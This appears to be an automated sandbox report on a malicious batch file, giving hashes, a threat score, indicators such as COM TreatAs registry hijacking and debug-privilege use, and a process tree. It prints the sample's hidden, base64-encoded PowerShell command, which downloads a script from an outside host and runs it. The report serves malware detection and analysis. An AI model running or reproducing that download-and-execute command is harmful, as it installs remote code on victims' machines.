ac2acbb0656b7b54c2c62e58cbb013f07500ec0ec85b73aadd9648fe6c4399be

General

Target

ph2408.bat
Size

543B
MD5

f134912b3ebfb9d02e46c9dcac30b47f
SHA1

0418ee735232fea50d72d1b5f454403cc08fe45e
SHA256

ac2acbb0656b7b54c2c62e58cbb013f07500ec0ec85b73aadd9648fe6c4399be
SHA512

0505366c220c9ef61890ed201a436f51b964234d8670b3d069f8418af079aa9f1556eeeabfdf40fd7928881cace95e994f3ca38ff965f7241f6be94045a22e92

Score

8^/10

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

2 424 powershell.exe

flow	pid	process
2	424	powershell.exe

Modifies registry class 9 IoCs

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\{11000306-090C-0F12-0104-070A0D101302}\CLSID\ = "{0E110003-0609-0C0F-1201-04070A0D1013}"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}\TreatAs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\{11000306-090C-0F12-0104-070A0D101302}\CLSID	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\{11000306-090C-0F12-0104-070A0D101302}\ = "{11000306-090C-0F12-0104-070A0D101302}"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}\TreatAs\ = "{0E110003-0609-0C0F-1201-04070A0D1013}"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\CLSID\{0E110003-0609-0C0F-1201-04070A0D1013}	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\{11000306-090C-0F12-0104-070A0D101302}	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\CLSID	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

424 powershell.exe
424 powershell.exe
424 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 424 powershell.exe
Suspicious use of WriteProcessMemory 2 IoCs

Processes:

cmd.exe

description pid process target process

PID 664 wrote to memory of 424 664 cmd.exe powershell.exe
PID 664 wrote to memory of 424 664 cmd.exe powershell.exe

description	pid	process
Token: SeDebugPrivilege	424	powershell.exe

description	pid	process	target process
PID 664 wrote to memory of 424	664	cmd.exe	powershell.exe
PID 664 wrote to memory of 424	664	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ph2408.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:664
- C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -enc JABNAD0AWwBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoAQwByAGUAYQB0AGUAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AGgAaQBuAGcAYwBhAGwAbABlAGQAYwBhAGsAZQAuAGMAbwBtAC8AZgBpAGwAZQAnACkAOwAkAHQAPQAkAE0ALgBHAGUAdABSAGUAcwBwAG8AbgBzAGUAKAApADsAJABSAD0AJAB0AC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlAFMAdAByAGUAYQBtACgAKQA7ACQARgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAgACQAUgA7ACQAcAA9ACQARgAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AGkAZQB4ACgAJABwACkAOwAgAA==
  2⤵
  - Blocklisted process makes network request
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:424

memory/424-114-0x0000000000000000-mapping.dmp

Download
memory/424-119-0x0000024A6B4F0000-0x0000024A6B4F1000-memory.dmp

Filesize
4KB

Download
memory/424-124-0x0000024A6B6C0000-0x0000024A6B6C1000-memory.dmp

Filesize
4KB

Download
memory/424-125-0x0000024A6B6B0000-0x0000024A6B6B2000-memory.dmp

Filesize
8KB

Download
memory/424-126-0x0000024A6B6B3000-0x0000024A6B6B5000-memory.dmp

Filesize
8KB

Download
memory/424-127-0x0000024A6B6B6000-0x0000024A6B6B8000-memory.dmp

Filesize
8KB

Download
memory/424-835-0x0000024A6B6B8000-0x0000024A6B6BA000-memory.dmp

Filesize
8KB

Download